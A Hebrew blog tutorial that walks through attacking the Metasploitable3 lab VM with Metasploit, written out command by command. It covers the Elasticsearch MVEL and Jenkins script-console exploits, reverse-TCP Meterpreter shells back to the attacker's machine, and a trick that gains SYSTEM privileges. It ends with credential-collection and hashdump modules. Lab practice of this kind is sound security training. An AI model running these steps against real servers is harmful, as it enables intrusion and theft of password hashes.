Home אבטחת מידעPenetration TestingMetasploitable3 Exploitation Of Metasploitable3

Exploitation Of Metasploitable3

by Tal Ben Shushan 27/04/2018 0 comment
Exploitation Of Metasploitable3

Exploitation Of Metasploitable3

במאמר זה נראה כיצד “לתקוף” את Metasploitable3 , אחרי שבצענו סריקה לתחנה על ידי Nmap וגילנו את השירותים

נתמקד תחילה בשירות האחרון בתמונה

פורט 9200 שהוא Elasticsearch גירסה 1.1.1, נבדוק בMetasploit האם קיים Exploit למערכת ה Elasticsearch

לפני שנתחיל בסריקות, בדיקות וכו’ . נבצע עדכון ל Metasploit על ידי הקשת הפקודה

apt update; apt install metasploit-framework

נוכל לבצע חיפוש בגוגל על האפליקציה והגירסה שלה בתוספת

Elasticsearch REST API 1.1.1 Vulnerability

והתוצאה הראשונה היא שיש Exploit

אפשרות נוספת היא בMetasploit זה לבצע חיפוש (הדרך הכי מומלצת)

רשמו

search Elasticsearch

התוצאה שיש כמה פגיעויות, אבל המשמעותית ביותר וברמה Excellent זו זו

exploit/multi/elasticsearch/script_mvel_rce

נוכל להבחין שזהו הנתיב אל ה Exploit

exploit/multi/elasticsearch/script_mvel_rce

כעת נשתמש ב Exploit אז נקיש

use exploit/multi/elasticsearch/script_mvel_rce

כעת נגדיר את ה Payload

set payload java/meterpreter/reverse_tcp

*הבחינו כי זה payload מסוג Java ולא של Windows , אסביר בהמשך

כעת נגדיר את הכתובת של שרת ה Metasploitable3

setg rhost 192.168.31.228

* הגדרתי setg – ה G מסמל Global שכן ההגדרה תיהיה קבועה ב Workspace בו אנחנו עובדים

אל תשכחו lhosts (זה הכתובת IP של הקאלי שלכם)

set lhost 192.168.31.242

נפעיל את ה Exploit אז נקיש

exploit

כעת נקיש getlwd

getlwd

נוכל לראות שאנחנו נמצאים ב /root שזה נתיב לינוקס, גם אם נקיש

load -l

על מנת לבדוק איזה Extensions יש לנו נוכל לראות שיש רק את stdapi, מוזר לא?

הסיבה כמובן היא שהExploit הזה הוא לJava ובסיסו בקוד של יוניקס ואין לו גישה בפועל למערכת ההפעלה אבל! יש לו גישת System, אז אך נוכל לנצל זאת?

נקיש

background

ונעביר את ה Meterpreter שלנו לרקע, על מנת לבדוק איזה עוד אפשרויות יש לנו…

כאשר ממשיכים לחקור, את השרת, מוצאים עוד נקודות חולשה, בסוף הרשימה תוכלו לראות שיש שירות פתוח בשם Jenkins

בדיקה של איזה עוד שירותים עובדים עם Jenkins מגלים שגם הפורט 8484 עם השירות

Jetty winstone-2.8

בדיקה בגוגל

אפילו אם נקיש את כתובת ה IP של השרת + הפורט

http://192.168.31.228:8484

יוביל אותנו לשרת ה Jenkins

 

נבצע כעת חיפוש בMetasploit

search Jenkins

נוכל להבחין שיש Enumartion, כך נוכל לדעת יותר פרטים

כעת נקיש

use auxiliary/scanner/http/jenkins_enum

נקיש את סט הפקודות להגדרת האפשרויות שחייב על מנת להריץ את ה Auxiliary

setg rhosts 192.168.31.228
set RPORT 8484
set targeturi /

ה / שהקשתי מכוון את הAuxiliary אל המיקום של האתר והמיקום שלו הוא הראשי / אם הוא היה בתוך תיקייה אז הייתי מכניס foldername/

run

מצויין! כעת קיבלנו יותר פרטים כמו גירסה והכל

כעת נשתמש בExploit שמצאנו בחיפוש

use exploit/multi/http/jenkins_script_console

כעת נקיש את סט הפקודות כמו בפעם הקודמת, אל תשכחו שזה Exploit ולכן צריך Payload

setg rhost 192.168.31.228
set targeturi /
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.242

*מגדיר את כתובת ה IP שלי

כעת אגדיר את הפורטים

set rport 8484

ואגדיר את הפורט החוזר כ 5555

set lport 5555

כעת נרשום Exploit ואז נמתין

כעת נעבור ליישום יותר יציב

למשל PID של ה Explorer הוא 484, נבצע Migrate

migrate 484

אוי… הוא רושם שאין לנו מספיק הרשאות, לאחר בדיקה ב ps נוכל לראות שהיישום שלנו רץ עם הרשאות Network Services

אבל אפשר לבצע את זה אחרת, זוכרים את ה Session ששמרנו קודם לכן? כעת נשתמש בו

אבל לפני כן הקישו ps לרשימת התהליכים

ps

והעתיקו את הנתיב כולו של התהליך בו רץ ה Payload שלנו, אצלי למשל זה

C:\windows\servic~2\locals~1\AppData\local\temp\SFnZc.exe

כעת נכניס גם את ה Meterpreter הזה לBackground

אם נקיש

sessions -l

נוכל לראות את 2 החיבורים שלנו

אז מה אנחנו מבצעים? ה Exploit הראשון שלנו הElasticsearch רץ עם משתמש ה System, אבל בתוך התהליך ולכן אינו יכול לטעון Extensions נוספים חוץ מ stdapi.

מצד אחר הצלחנו לבצע Exploit ל Jenkins, והמשתמש איתו Jenkins מחובר כ- Network Service שההרשאות שלו לא מספיקות.

אז אנחנו ניקח את קובץ ה Payload שרץ ברקע של Jenkins ונריץ אותו על ידי ה Payload של הElasticsearch שרץ עם הרשאות System 🙂

אבל לפני כן, עלינו ליצור Handler שימתין להתקשרות שתפתח מהרצת הקובץ הזה שוב, שכן כל הרצה שלו פותחת Session חדש

נגדיר כעת

use exploit/multi/handler

נגדיר את ה Meterpreter האהוב עלינו

set payload windows/meterpreter/reverse_tcp

נגדיר את הפורט

set lport 5555

וכעת נפעיל את ה Handler על ידי הפקודה

exploit -j

-j יכניס אותו אוטומטית לרקע

כעת ה Handler ממתין לחיבור חדש, מצויין

נבדוק את רשימת ה Session שלנו

sessions -l

נוכל לראות שאצלי ה Java Meterpreter הוא מספר 2

נקיש

sessions 2

נעתיק את הכתובת ששמרנו בצד של ה exe שרץ על ידי הJenkins Meterpreter

נעתיק לפנקס רשימות \ Leafpad

ואז נוסיף

execute -H -f "C:\\windows\\servic~2\\locals~1\\AppData\\local\temp\\SFnZc.exe"

הוספתי את השורה execute…. ואז עוד \ לכל \ שקיים, למה? בגלל שאנחנו מריצים את הפקודה ב Meterpreter אז חייב

כעת נדביק את זה

ברגע שנלחץ Enter נוכל לראות שנפתח שיחה חדשה, מספר 4

לשיחה הזו צריך להיות את כל ההרשאות שאנחנו צריכים

נעביר לרקע את השיחה שאנחנו נמצאים בה עכשיו

background

נוכל לראות את מספר 4

נעבור לשיחה מספר 4

sessions 4

ואם נבדוק שכל ה Extensions יכולים להיטען

load -l

מעולה! כעת אפשר לבצע hashdump לכל המשתמשים ולהמשיך ב Privilege Escalation

run post/windows/gather/credentials/credential_collector
run post/windows/manage/migrate
run post/windows/gather/hashdump

 

מאמרים קשורים

Leave a Comment